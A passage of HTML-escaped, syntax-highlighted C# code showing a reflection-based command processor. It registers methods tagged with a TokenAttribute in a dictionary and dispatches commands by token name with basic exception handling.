class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;cmdLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;State&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;GetStateFromString&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;state&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;));&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 49&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                        &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;Output:&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 50&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                        &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;output&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 51&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 52&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;k&#34;&gt;catch&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;TokenNotFoundException&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ex&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 53&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 54&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                        &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ex&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Message&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 55&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 56&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;k&#34;&gt;catch&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Exception&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ex&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 57&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 58&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                        &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;Unknown error occured during execution. Exception was: &amp;#34;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ex&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Message&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 59&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 60&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;k&#34;&gt;break&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 61&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 62&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;k&#34;&gt;default&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 63&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;Unknown command: {0}&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;s&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 64&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;k&#34;&gt;break&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 65&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 66&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 67&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 68&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 69&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 70&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;CommandProcessor&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 71&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 72&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;c1&#34;&gt;// our dictionary of method calls.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 73&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;internal&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;static&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Dictionary&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;availableFunctions&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Dictionary&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 74&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 75&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;static&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;CommandProcessor&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 76&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 77&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;SetupMethodCallDictionary&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 78&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 79&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 80&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;static&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;SetupMethodCallDictionary&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 81&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 82&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;// get the current assembly.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 83&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;Assembly&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;assembly&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Assembly&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;GetExecutingAssembly&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 84&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 85&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;// cycle through the types in the assembly&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 86&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;foreach&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Type&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;type&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;assembly&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;GetTypes&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;())&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 87&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 88&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;c1&#34;&gt;// cycle through the methods on each type&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 89&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;k&#34;&gt;foreach&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;MethodInfo&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;method&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;type&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;GetMethods&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;())&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 90&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 91&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;c1&#34;&gt;// look for Token attributes on the methods.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 92&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;kt&#34;&gt;object&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;tokens&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;method&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;GetCustomAttributes&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;typeof&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;TokenAttribute&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;),&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 93&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 94&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;tokens&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Length&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 95&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 96&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                        &lt;span class=&#34;c1&#34;&gt;// cycle through the token attributes (allowing multiple attributes&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 97&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                        &lt;span class=&#34;c1&#34;&gt;// leaves room for backwards compatibility if you change your tokens&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 98&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                        &lt;span class=&#34;c1&#34;&gt;// or consolidate functionality of the methods. etc.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 99&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                        &lt;span class=&#34;k&#34;&gt;foreach&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;TokenAttribute&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;token&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;tokens&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;100&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;101&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                            &lt;span class=&#34;c1&#34;&gt;// look for the token in the dictionary, if it&amp;#39;s not there add it..&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;102&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                            &lt;span class=&#34;n&#34;&gt;MethodInfo&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;foundMethod&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;default&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;MethodInfo&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;103&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                            &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;availableFunctions&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;TryGetValue&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;token&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;TokenName&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;out&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;foundMethod&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;104&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                            &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;105&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                                &lt;span class=&#34;c1&#34;&gt;// if there is more than one function registered for the same&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;106&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                                &lt;span class=&#34;c1&#34;&gt;// token, just keep the last one found.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;107&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                                &lt;span class=&#34;n&#34;&gt;availableFunctions&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;token&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;TokenName&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;method&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;108&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                            &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;109&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                            &lt;span class=&#34;k&#34;&gt;else&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;110&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                            &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;111&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                                &lt;span class=&#34;c1&#34;&gt;// add to the table.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;112&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                                &lt;span class=&#34;n&#34;&gt;availableFunctions&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;token&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;TokenName&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;method&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;113&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                            &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;114&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;115&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;116&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;117&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;118&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;119&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;120&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;static&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;DoCommand&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;token&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;tag&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;cmdLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;State&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;state&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;121&lt;/span&gt;&lt;span 